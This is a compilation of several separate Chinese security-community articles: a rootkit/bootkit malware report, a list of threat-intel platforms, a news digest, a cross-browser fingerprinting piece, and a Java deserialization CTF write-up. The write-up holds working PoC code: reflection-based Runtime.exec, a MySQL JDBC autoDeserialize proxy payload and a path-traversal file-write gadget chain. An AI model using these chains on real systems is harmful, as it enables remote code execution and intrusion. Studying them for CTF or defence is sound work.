2018年电脑管家披露的主页保安病毒就使用了这种强对抗手段来躲避查杀，其主要逻辑为木马会不断的检查系统启动组注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ServiceGroupOrder
下的List键值，系统默认该键值第一项为System Reserved，如果检查到启动组第一项不是System
Reserved则暴力重启电脑，通过OUT指令直接写IO端口0x64实现强制重启，往64号端口写入0xFE后电脑强制重启以阻断杀毒软件查杀
图15暴力重启电脑
图16设备占坑
1. 自保护
这里提到的自保护主要指病毒为了防止被用户发现，或被安全研究人员分析透彻，往往会通过一些技术手段来保护自身以加大被发现或被分析的难度。
最常见的自保护对象是病毒文件及对应的注册表项。注册表的保护主要是通过注册cmpcallbakck回调来完成，通过阻止或者隐藏自身注册表以达到自保护的目的。病毒文件的保护也是通过底层的文件钩子来实现。此外为了防止被ARK等分析工具发现往往会隐藏自身的模块信息。
以“血狐”病毒为例，通过KeServiceDescriptorTable拿到NtLoadDriver函数地址，然后通过调用4次硬编码查找函数（ba7011a4），找到MiProcessLoaderEntry函数，通过搜索获取MiProcessLoaderEntry地址调用，达到摘链来隐藏模块信息不被ARK工具发现。
图17隐藏模块信息
Bootkit的自保护主要是保护自身的MBR或者VBR感染代码及payload不被发现，比如暗云木马会根据磁盘类型和操作系统替换DriverStartIo、
AtapiHwStartIo、RaUnitStartIo等函数，实现阻止其他程序读取磁盘1-3F 扇区（MBR）。当检测到读MBR时，
返回一个构造好的正常的MBR作欺骗，检测到写MBR时，则直接pass 该操作。
图18MBR保护挂钩逻辑
五．典型案例
2018年下半年最为活跃的Rootkit病毒家族为独狼家族，仅腾讯电脑管家进行批露的独狼家族相关的病毒感染事件就有3例，传播渠道从独狼一代的盗版GHOST系统到独狼二代的激活工具，从主页锁定，刷量获利到传播盗号木马，到强力破坏杀毒软件功能，可谓是无恶不作。
Bootkit最为活跃的病毒家族为暗云及隐魂系列，其中暗云不仅频繁更换C2网址，还首次发现和Mykings僵尸网络进行捆绑传播，此外国内厂商披露的暗云变种“隐匿者”也加入了挖矿的行列。Bootkit病毒家族隐魂最早在2017年被披露，其变种“隐蜂”最主要的变现方式也是挖矿。
1. 独狼Rootkit病毒家族
独狼一代病毒家族最早由腾讯电脑管家于2018年6月披露，独狼一代其传播渠道主要是Ghost系统。腾讯御见威胁情报中心已在不同的Ghost系统中捕获到多个“独狼”系列Rootkit，包括Jomalone系列，chanel系列，Msparser系列，Wdfflk系列，在不同的Ghost系统里会以固定的服务名(如Jomalone)启动，每个系列有多个变种。
独狼系列其PDB信息都是PASS
Through.pdb（过滤），都是一个过滤型驱动，具有完善的过滤架构，包括文件过滤、网络过滤、进程创建过滤、注册表过滤、模块加载过滤等。这四个系列中出现最早的是在2017年10月。此外其签名信息都有着高度关联性。
参考链接：
盗版Ghost系统携“独狼”Rootkit来袭，锁定浏览器主页超20款
<https://mp.weixin.qq.com/s/6I-1YGs1o9hMMw6bW_JoPQ>
图19独狼系列出现时间文件签信息
独狼二代重新拓展了传播渠道，并且各个病毒模块功能都得到进一步改进，传播渠道由单一的Ghost盗版系统传播演变为假冒系统激活工具传播。主要通过静默推广安装浏览器获利，并会锁定23款浏览器主页，将浏览器地址栏锁定为带推广渠道号的网址导航站，和独狼一代一大区别为从纯Rootkit驱动劫持首页，转变为内存解密Payload结合浏览器注入实现，此外还会静默推装浏览器
(参考链接：[2])
Rootkit病毒“独狼2”假冒激活工具传播，锁定23款浏览器主页
<https://mp.weixin.qq.com/s/-Pg-4MoD9LyQN5hmS-HOow>
图20独狼系列病毒静默安装的浏览器
独狼系列最新变种，会通过“酷玩游戏盒子”、“桌面助手”、“玩玩游戏”等软件传播盗号木马，该木马累计已感染超过5万台电脑。软件运行后会首先下载伪装成WPS的病毒，再下载安装“独狼”Rootkit病毒，最终进行营销推广、恶意推装更多软件来获利。
木马作者疑似伪造“北京方正阿帕比技术有限公司”的相关信息，申请了正规的数字签名，该病毒文件会下载Steam盗号木马，因病毒程序拥有合法数字签名导致多款杀毒软件未及时查杀，这是该病毒感染超过5万电脑的重要原因。
(参考链接：[3])
酷玩游戏盒子伪造知名公司数字签名，传播Steam盗号木马
<https://mp.weixin.qq.com/s/mISZzxLJ5l9R__NmIatObQ>
图21独狼木马执行流程
1. 暗云木马
暗云家族最早由电脑管家于2015年进行披露，18年9月国内安全厂商披露了暗云变种“隐匿者”转投挖矿，病毒暴力破解用户数据库入侵电脑，MBR感染代码获得执行后将恶意代码注入到系统进程中（winlogon或explorer进程），最终恶意代码会下载后门病毒到本地执行，后门病毒会下载执行挖矿相关病毒模块，挖取门罗币。
(参考链接：[4])
"隐匿者"病毒团伙技术升级传播病毒
<https://www.huorong.cn/info/1536227902151.html>
图22暗云木马挖矿配置信息
腾讯御见威胁情报中心2018年12月监控到暗云最新动态，和Mykings僵尸网络木马捆绑传播，通过MS SQL
SEVER弱密码入侵用户机器成功后会执行远程脚本命令，远程脚本执行后会下载多个木马文件到本地执行包括暗云感染器、Mykings僵尸网络木马、Mirai僵尸网络木马。和以往的暗云系列相比，主要变化包括会强制结束包括管家、360等杀软进程，随后注入应用层的payload会根据云端配置文件进行主页锁定及下载执行木马病毒等功能。(参考链接：[5])
弱口令爆破SQL Server服务器，暗云、Mykings、Mirai多个病毒家族结伴来袭
<https://mp.weixin.qq.com/s/wuWKQnxQBvSvkqpK3KaE2Q>
图23暗云配置文件
1. 隐魂木马家族
隐魂系列最早于2017年进行披露，和暗云系列最大区别为payload的存储区域及hook流程有着较大差异，暗云payload存储在3到63扇区，而隐魂系列存储在磁盘末尾。
隐魂系列最新变种“隐蜂”其主要的变现方式也是挖矿，“隐蜂”挖矿木马在R3层的框架设计比较复杂，整个R3层解压后的模块配置文件总数多达30+，同时引入LUA脚本引擎实现灵活的策略控制。
(参考链接：[6][7])
“隐蜂”来袭：全球首例Bootkit级挖矿僵尸网络
<https://www.freebuf.com/articles/network/173400.html>
“隐魂”木马篡改主页分析
<https://www.freebuf.com/articles/system/144792.html>
图24隐魂木马挖矿策略配置
1. 外挂幽灵团伙
2018年10月腾讯御见披露了外挂幽灵团伙，主要通过七哥辅助网（www.52wzlt.cn）、我爱辅助网（www.50fzw.com）等多个游戏辅助工具（外挂）网站传播“双枪”、“紫狐”等木马。
这些网站提供的多款游戏外挂工具中被捆绑多个恶意程序，主要包括锁主页程序、“双枪”病毒家族和“紫狐”木马家族等等，两个病毒家族影响了全国数以万计的电脑。
(参考链接：[8])
“外挂幽灵”团伙曝光 系双枪、紫狐两大病毒家族的幕后推手
<https://mp.weixin.qq.com/s/EyzMIjEDO2OJWyaI-3gqOw>
图25游戏外挂捆绑的木马
紫狐是一类利用系统正常"Pending File Rename
Operations"机制替换系统文件，实现开机自动启动加载驱动（自动下载软件）的恶意木马，此外木马还会会进行多次删除替换，来创建多次进程链实现断链防止查杀，木马运行后会联网下载推广安装软件来获利。
(参考链接：[9])
“紫狐木马”暴力来袭
<http://www.360.cn/n/10386.html>
图26安装文件
双枪木马是一类会感染MBR及VBR的Bootkit病毒家族，2018年8月电脑管家监测到该家族新变种，多个外挂网站会传播双枪木马，包括屠城社区、七哥辅助网等，这些网站提供的多款游戏外挂程序中会捆绑安装一款名为“开心输入法”的违规软件，“双枪”木马下载器就隐藏在这款输入法中。
中毒电脑的浏览器主页被锁定为带有“39201”计费编号的网址导航站，同时“双枪”木马变种还会在系统预留后门以窃取用户敏感信息，另外会切断主流杀毒软件的联网功能，会造成杀毒软件升级更新、下载病毒库、下载附加组件、云查杀等等关键功能均被破坏。
(参考链接：[10])
“双枪”木马专攻游戏外挂玩家，锁定主页强推开心输入法
<https://mp.weixin.qq.com/s/bnbT7nY6QeGJJS_6tVonVw>
图27双枪木马感染流程
1. 血狐木马
血狐木马通过二次打包并借用第三方渠道假冒传奇微端传播，携带正规白签名，且签名厂商直接伪装国内某知名游戏公司，以此获得渠道商的信任，并因为拥有合法数字签名而容易欺骗杀毒软件。
当用户在电脑安装这个假冒的传奇微端时，病毒随即释放安装血狐Rootkit。当中毒电脑用户启动浏览器访问搜索引擎网站和电商网站时，浏览器URL均被劫持到含病毒作者推广ID的链接，至此，中毒用户的每次访问，均会给病毒作者带来佣金收入。
(参考链接：[11])
“血狐”病毒伪装传奇微端
<https://mp.weixin.qq.com/s/--n1w4aV0HUNVQUObPVbhg>
图28
参考资料
盗版Ghost系统携“独狼”Rootkit来袭，锁定浏览器主页超20款
<https://mp.weixin.qq.com/s/6I-1YGs1o9hMMw6bW_JoPQ>
Rootkit病毒“独狼2”假冒激活工具传播，锁定23款浏览器主页
<https://mp.weixin.qq.com/s/-Pg-4MoD9LyQN5hmS-HOow>
酷玩游戏盒子伪造知名公司数字签名，传播Steam盗号木马
<https://mp.weixin.qq.com/s/mISZzxLJ5l9R__NmIatObQ>
"隐匿者"病毒团伙技术升级传播病毒
<https://www.huorong.cn/info/1536227902151.html>
弱口令爆破SQL Server服务器，暗云、Mykings、Mirai多个病毒家族结伴来袭
<https://mp.weixin.qq.com/s/wuWKQnxQBvSvkqpK3KaE2Q>
“隐蜂”来袭：全球首例Bootkit级挖矿僵尸网络
<https://www.freebuf.com/articles/network/173400.html>
“隐魂”木马篡改主页分析
<https://www.freebuf.com/articles/system/144792.html>
“外挂幽灵”团伙曝光 系双枪、紫狐两大病毒家族的幕后推手
<https://mp.weixin.qq.com/s/EyzMIjEDO2OJWyaI-3gqOw>
“紫狐木马”暴力来袭
<http://www.360.cn/n/10386.html>
“双枪”木马专攻游戏外挂玩家，锁定主页强推开心输入法
<https://mp.weixin.qq.com/s/bnbT7nY6QeGJJS_6tVonVw>
“血狐”病毒伪装传奇微端
<https://mp.weixin.qq.com/s/--n1w4aV0HUNVQUObPVbhg>
本期总结引用多篇友商原创资料，在此深表感谢！ | 社区文章 |
# 常见的一些威胁情报分析平台
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在进行渗透过程中，也可以借助一些商用或者非商业平台来进行信息搜索及验证，主要针对邮箱、IP、域名、文件md5、apk文件等进行搜索，整理和完善线索信息。为了大家方便，
对目前公开的威胁情报平台进行搜集，在实际使用过程中建议交叉搜索，以获得更多的信息。这些平台都需要实名认证，认证后即可进行查询。
一、国内威胁情报平台
1. 360威胁平台
<https://ti.360.net/#/homepage>
2.绿盟威胁情报平台
<https://ti.nsfocus.com/>
3.venuseye威胁情报平台
<https://www.venuseye.com.cn/>
4.安恒威胁情报平台
<https://ti.dbappsecurity.com.cn/>
5.微步威胁情报平台
<https://x.threatbook.com/>
6.天际友盟RedQueen安全智能服务平台
<https://redqueen.tj-un.com/>
7.奇安信威胁情报中心
<https://ti.qianxin.com/>
8.安天威胁情报中心
<https://www.antiycloud.com/>
9.深信服安全中心
<https://wiki.sec.sangfor.com.cn/index/abroad>
10.永安在线
<https://www.yazx.com/>
二、国外威胁情报平台
1、IBM X-Force
<https://exchange.xforce.ibmcloud.com/>
2、VirusTotal
<https://www.virustotal.com/gui/home/upload>
3、SANS互联网风暴中心
<https://isc.sans.edu/>
4、Threatcrowd 开源威胁情报
<https://www.threatcrowd.org/>
5、hreatMiner
<https://www.threatminer.org/>
6、GreyNoise
<https://www.greynoise.io/>
7.FortiGuard
<https://www.fortinet.com/cn/fortiguard/labs> | 社区文章 |
## java反序列化知识总结和一些ctf的例题
##### 反序列化知识：
######
对于web手来说，php的反序列化一定不陌生，php的反序列化一般关注的就是魔术方法的调用和动态函数的执行这些，在java这里对参数类型这些要求严格，所以不能像php那么轻松的挖掘反序列化链子，接下来就讲一些cc链里面用到的java的一些特性和一些比较高质量的java_ctf题。
##### java的反射
###### 本身反射就是为了动态执行类方法，所以我们就可以利用达到命令执行，先来看看java正常命令执行
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
Runtime.getRuntime().exec("calc");
}
}
######
为什么要通过`getRuntime()`来调用exec，而不是直接实例化Runtime呢？看看源码就知道了，发现是因为Runtime构造函数是私有的所以不能直接实例化，而是通过`getRuntime()`来进行构造，刚好又是静态方法，所以可以直接调用
######
但是不想通过getRuntime来得到对象，怎么办呢？这里就可以用到反射的第一个技巧了，利用反射来进行构造，通过这里我们就可以知道了，java可以通过反射来获取私有属性（也就是`constructor.setAccessible(true);`这就是为了设置可以获取和修改私有属性这些）。
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
//Runtime.getRuntime().exec("calc");
Class clazz = Class.forName("java.lang.Runtime");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Runtime rt = (Runtime)constructor.newInstance();
rt.exec("calc");
}
}
######
现在我们再通过反射来调用`getRuntime()`再到exec来达到命令执行，这里需要注意一个地方，Method的invoke里面是一个类，而不是一个实例化的对象，主要原因是gt是源于getRuntime这个方法，而刚刚看到getRuntime是一个静态方法，所以这里也就不需要实例化了，这里就是cc链里面很多地方用到反射为什么要通过getRuntime来到exec了。
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
//Runtime.getRuntime().exec("calc");
Class clazz = Class.forName("java.lang.Runtime");
Method gt = clazz.getMethod("getRuntime");
clazz.getMethod("exec",String.class).invoke(gt.invoke(clazz),"calc");
}
}
###### 我们还可以通过反射直接来调用exec执行命令
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
//Runtime.getRuntime().exec("calc");
Class clazz = Class.forName("java.lang.Runtime");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
clazz.getMethod("exec",String.class).invoke(constructor.newInstance(),"calc");
}
}
######
通过上面的例子我想对于反射来构造类应该没有什么问题了，当然在反射构造类时还有一个内部类的东西，这里就还是先把反射构造类讲完吧，需要注意的是私有内部类应该怎么构造，可以发现还是通过反射来构造，forName时里面是通过`$`来进行分隔的，还有就是newInstance时第一个参数得是这个类的实例化对象（如果不是私有内部类，这里第一个就是内部类对应构造方法的参数）。
public class People {
private class Vuln{
private String inStr="you don't control me";
public Vuln(String s){System.out.println(inStr+s);}
}
}
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException {
Class clazz = Class.forName("People$Vuln");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
constructor.newInstance(new People(),".Oh it easy?");
}
}
######
好了，对于反射构造类基本差不多了，反射这里还有一个利用点就是通过反射来修改类的私有属性值，这个有什么用呢？在cc链里面对Hashmap进行put时会对key进行计算，这样就会修改我们加入的类的一些值，所以可以直接通过修改类的值来进行构造
public class People {
private String a="only a?";
public void getA(){ System.out.println(this.a); }
}
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException, NoSuchFieldException {
People pl = new People();
pl.getA();
Class clazz = Class.forName("People");
Field fd_a = clazz.getDeclaredField("a");
fd_a.setAccessible(true);
fd_a.set(pl,"I can change it,,,");
pl.getA();
}
}
######
那么对于java在构造poc中的反射已经差不多了，再来看看动态代理，可以发现动态代理这里主要是通过动态代理生成的类调用方法时首先会触发动态代理的invoke方法，这个在cc1的链子里面也出现过
People.java
public interface People {
public void getA();
}
Man.java
public class Man implements People {
@Override
public void getA(){ System.out.println("Maned");}
}
PeopleHandler.java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class PeopleHandler implements InvocationHandler {
private Object target;
public PeopleHandler(Object pl) {
this.target=pl;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("invoked");
method.invoke(this.target, args);
return null;
}
}
test.java
import java.io.IOException;
import java.lang.reflect.*;
public class test {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException, NoSuchFieldException {
Man man = new Man();
PeopleHandler pl_handler = new PeopleHandler(man);
People pl = (People) Proxy.newProxyInstance(People.class.getClassLoader(),
new Class[] {People.class}, pl_handler);
pl.getA();
}
}
##### ctf里面一些比较有意思的java题
######
先来看看2020的羊城杯的java题吧，需要用到动态代理和反射的知识，也就是上面所讲的，动态代理实现的类在调用其他方法时会首先调用动态代理实现的invoke的方法，所以流程如下（通过动态代理的特性配合有漏洞版本的jdbc来达到命令执行）：
###### 所以构造poc：
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
/*
info.getAllInfo()
InfoInvocationHandler.invoke()
DatabaseInfo.checkAllInfo()
DatabaseInfo.connect() //配合jdbc的反序列化
*/
public class exp {
public static void main(String[] args) throws Exception {
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("127.0.0.1");
databaseInfo.setPort("3306");
databaseInfo.setUsername("yso_CommonsCollections5_calc");
databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
Class[] interfaces = databaseInfo.getClass().getInterfaces();
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(proxy);
objectOutputStream.flush();
objectOutputStream.close();
System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
}
###### 运行题目和启动fake_server，然后修改cookie值方法hello的路由就可以成功命令执行
######
现在来看看d3ctf的那个java反序列化题，这里面主要是反射用的多，主要讲反序列化，所以前面2层的绕过就没有必要说明了，直接看看反序列化的流程：
######
然后来构造poc，这里的poc和nu1l差不多，因为当时比赛没有做出来，后来复现的，生成poc时得把DataMap的Entry里面的hashCode方法直接改成return
1; 这么做的目的是为了让生成poc时不修改我们已经构造好的类
package launch;
import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
*/
public class poc {
public static Serializable getGadget() throws Exception {
byte[] content_byte = Files.readAllBytes(new File("D:\\dk\\d3\\www_1385f769c3bd9b2489b828ce25238f3dee4ff4f16f\\Exp.class").toPath());
String file_name = "../../../../../../../../../../../../../../aaaaaaa.class";
Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
aspectjConstructor.setAccessible(true);
Object simpleCache = aspectjConstructor.newInstance(".", 12);//这里就用到了前面的内部公有类实例化
HashMap wrapperMap = new HashMap();
wrapperMap.put(file_name, content_byte);
DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);
Constructor[] entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors();
entryConstructor[0].setAccessible(true);
Object entry = entryConstructor[0].newInstance(dataMap, file_name);//这里就用到了前面的私有内部类的实例化方式
HashSet map = new HashSet(1);
map.add(entry);//nu1l这之后的操作就是为了修改这个值，目的也是防止add时修改我们已经构造好的类
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object.obj2"));
o.writeObject(map);
o.flush();
o.close();
return 1;
}
public static void main(String[] args) throws Exception {
getGadget();
}
}
###### 好了现在把之前改了的hashCode方法改回来，然后反序列化生成的poc
package launch;
import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
*/
public class poc {
public static Serializable getGadget() throws Exception {
byte[] content_byte = Files.readAllBytes(new File("D:\\dk\\d3\\www_1385f769c3bd9b2489b828ce25238f3dee4ff4f16f\\Exp.class").toPath());
String file_name = "../../../../../../../../../../../../../../aaaaaaa.class";
Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
aspectjConstructor.setAccessible(true);
Object simpleCache = aspectjConstructor.newInstance(".", 12);//这里就用到了前面的内部公有类实例化
HashMap wrapperMap = new HashMap();
wrapperMap.put(file_name, content_byte);
DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);
Constructor[] entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors();
entryConstructor[0].setAccessible(true);
Object entry = entryConstructor[0].newInstance(dataMap, file_name);//这里就用到了前面的私有内部类的实例化方式
HashSet map = new HashSet(1);
map.add(entry);
File file = new File("Object.obj2");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
Object newUser = (Object)ois.readObject();
return 1;
}
public static void main(String[] args) throws Exception {
getGadget();
}
}
###### 然后就可以看到所运行盘符的目录下面成功写入文件 | 社区文章 |
# 3月25日安全热点 - Facebook从用户的智能手机收集电话和短信数据
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Facebook从用户的智能手机收集电话和短信数据
<https://www.bleepingcomputer.com/news/technology/facebook-collected-call-and-sms-metadata-from-some-users-smartphones/>
Shodan搜索公开数千台托管密码和密钥的服务器
[https://developers.slashdot.org/story/18/03/24/1943239/shodan-search-exposes-thousands-of-servers-hosting-passwords-and-keys?utm_source=rss1.0mainlinkanon&utm_medium=feed](https://developers.slashdot.org/story/18/03/24/1943239/shodan-search-exposes-thousands-of-servers-hosting-passwords-and-keys?utm_source=rss1.0mainlinkanon&utm_medium=feed)
The DiskWriter or UselessDisk BootLocker May Be A Wiper
<https://www.bleepingcomputer.com/news/security/the-diskwriter-or-uselessdisk-bootlocker-may-be-a-wiper/>
Firefox正在研究针对浏览器内部加密脚本的保护
[ https://www.bleepingcomputer.com/news/software/firefox-working-on-protection-against-in-browser-cryptojacking-scripts/](https://www.bleepingcomputer.com/news/software/firefox-working-on-protection-against-in-browser-cryptojacking-scripts/)
黑客利用5年前的漏洞通过门罗币挖矿软件感染Linux服务器
[ https://www.bleepingcomputer.com/news/security/hackers-infect-linux-servers-with-monero-miner-via-5-year-old-vulnerability/](https://www.bleepingcomputer.com/news/security/hackers-infect-linux-servers-with-monero-miner-via-5-year-old-vulnerability/)
伍尔夫大学：大学课程直接在以太坊区块链上进行
[ https://davidgerard.co.uk/blockchain/2018/03/24/woolf-university-college-courses-literally-on-the-ethereum-blockchain/](https://davidgerard.co.uk/blockchain/2018/03/24/woolf-university-college-courses-literally-on-the-ethereum-blockchain/)
## 技术类
在恶意软件中重写LibC功能
<https://0x00sec.org/t/rewriting-libc-functions-in-malwares/6004>
通过盲OOB XXE获得文件系统访问权限
<https://hawkinsecurity.com/2018/03/24/gaining-filesystem-access-via-blind-oob-xxe>
Web应用渗透测试备忘单
<https://jdow.io/blog/2018/03/18/web-application-penetration-testing-methodology/>
Android蓝牙BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG越界读取
[
https://cxsecurity.com/issue/WLB-2018030203](https://cxsecurity.com/issue/WLB-2018030203)
Easy CD DVD Copy 1.3.24缓冲区溢出
[
https://cxsecurity.com/issue/WLB-2018030195](https://cxsecurity.com/issue/WLB-2018030195) | 社区文章 |
# 【技术分享】2.5代指纹追踪技术—跨浏览器指纹识别
|
##### 译文声明
本文是翻译文章，文章来源：默安科技
原文地址：<http://mp.weixin.qq.com/s/gR7CcICIPV8S1Jop3i_8WQ>
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
**作者简介**
程进，默安科技影武者实验室安全工程师。主要参与一些安全产品的安全能力推进，包括幻盾的蜜网、黑客溯源技术，SDL雳鉴的漏洞扫描、代码审计等。
**01.研究背景**
在如今，做安全防御已经不仅仅是被动的等着攻击者攻击，作为防御方，有越来越多的方法去反击攻击者，甚至给攻击者一些威胁。
设备指纹技术是一种长久有效的追踪技术，即使攻击者挂再多vpn，也能够准确识别攻击者身份。
本文借助理海大学发布的(Cross-)Browser Fingerprinting via OS and Hardware Level
Features文章，写一些个人理解，与[
**paper原文**](http://yinzhicao.org/TrackingFree/crossbrowsertracking_NDSS17.pdf)，一并服用，效果更佳。
**02.设备指纹技术介绍**
**1．第一代**
第一代指纹追踪是cookie这类的服务端在客户端设置标志的追踪技术，evercookie是cookie的加强版。
**2 . 第二代**
第二代指纹追踪是设备指纹技术，发现IP背后的设备。通过js获取操作系统、分辨率、像素比等等一系列信息，传到后台计算，然后归并设备。
唯一性可以保证，但准确率很难完全保证。主要原因就是在跨浏览器指纹识别上面。跨浏览器之后，第二代技术中很重要的canvas指纹、浏览器插件指纹都变了，所以很难把跨浏览器指纹归并到同一设备上。
因为设备指纹相同，很大概率上是同一台设备；但是，设备指纹不同时，不一定不是同一台设备。
**3 . 第三代**
第三代指纹追踪技术，则是发现设备后面的人。通过人的习惯、人的行为等等来对人进行归并，此项技术比较复杂。
**总 结**
第一代、第二代的指纹追踪技术是可以直接通过js收集信息的，第三代指纹追踪技术目前可看到的案例是2017年RSA创新沙盒的冠军unifyid技术。但是在RSA的答辩现场我们可以看到，unifyid在移动端安装软件、收集信息，不仅仅是通过js。至于利用于web上，还任重而道远。
那么，2.5代指纹识别技术即跨浏览器指纹识别技术。
**03.跨浏览器指纹识别特征**
这篇paper中的创新点很多，最主要的是深入研究了显卡的渲染方法，图片的哪些部分用到硬件渲染，哪些部分只用到软件渲染，或者跟浏览器有关，paper中都有深入研究
着重讲一些比较有意思的特征，文章中用到的所有特征如下：
其中很多特征都是在其他设备指纹的paper中出现过的，并且目前被广泛用于设备指纹项目。比如canvas指纹在单浏览器识别中是比较有区分度的特征。
对比一下已经开源的fp2的指纹列表
fp2中的都是一些常规的追踪项目，并且如果用过就知道，其中很多项目是没有什么区分度的，比如
Has session storage or not
Has local storage or not
Has indexed DB
Has IE specific 'AddBehavior'
Has open DB
Is AdBlock installed or not
Has the user tampered with its languages 1
Has the user tampered with its screen resolution 1
Has the user tampered with its OS 1
Has the user tampered with its browser
这些项只能进行一些大致的区分，并没有什么实际的参考价值。
但是这篇paper中去掉了这些区分度低的特征，用到了另一类特征，显卡渲染图片，就是特征表中的task(a)-task(r)，可以看到这些task的跨浏览器稳定性都非常高，也就是说受浏览器的影响不是很大。这里，我们抽一些任务介绍一下。
**1.首先，paper中对图片渲染进行了简单的介绍：**
在此之前，首先介绍下面的基本画布设置。画布的大小为256×256。画布的轴定义如下：[0，0，0]是画布的中心，其中x轴是向右延伸的水平线，y轴是向下延伸的垂直线，z轴朝远离屏幕方向延伸。存在功率为[R：0.3，G：0.3，B：0.3]的环境光，相机位于[0，0，-7]的位置。这两个组件必需，否则模型完全是黑色的。在本文的其余部分，除非指定，例如具有2D特征的任务（d）和其他带有附加灯的任务，所有任务均使用相同的基本设置。
**2.这里列举几个典型的task**
**2.1 task（a）：纹理**
图（a）中的任务是测试片段着色器中的常规纹理特征。
具体来说，Suzanne模型在随机生成纹理的画布上呈现。纹理大小为256×256的正方形，通过随机选择每个像素的颜色来创建。也就是说，我们在一个像素的三个基色（红色，绿色和蓝色）之间产生0~255的三个随机值，将三个基色混合在一起，并将其用作像素的颜色。
之所以选择这个随机生成的纹理，是因为这个纹理比常规纹理具有更多的指纹特征。原因如下，当片段着色器将纹理映射到模型时，片段着色器需要在纹理中插入点，以便将纹理映射到模型上的每个点。插入值算法在不同的显卡中是不同的，当纹理变化很大时，差异就被放大。因此，我们需要生成在每对相邻像素之间颜色变化很大的这种纹理。
**2.2 task（d）：线和曲线**
图（d）中的任务是测试线和曲线。 在画布上绘制一条曲线和三条不同角度的直线。具体来说，曲线遵循以下功能：y = 256-100cos（2.0πx/
100.0）+ 30cos（4.0πx/ 100.0）+ 6cos（6.0πx/ 100.0），其中[0,0]为画布的左上角，x轴向右增加，y轴增加到底部。
三行的起点和终点是{[38.4,115.2]，[89.6,204.8]}，{[89.6,89.6]，[153.6,204.8]}和{[166.4,89.6]，[217.6,204.8]}。
选择这些特定的线条和曲线，以便测试不同的渐变和形状。
**2.3 task（f）：光**
图（f）中的任务是测试漫射点光和Suzanne模型的相互作用。 漫射点光在照亮物体时会引起漫反射。
具体地说，该光是在RGB上具有相同值的白色，对于每种原色，光的功率为2，光源位于[3.0，-4.0，-2.0]。
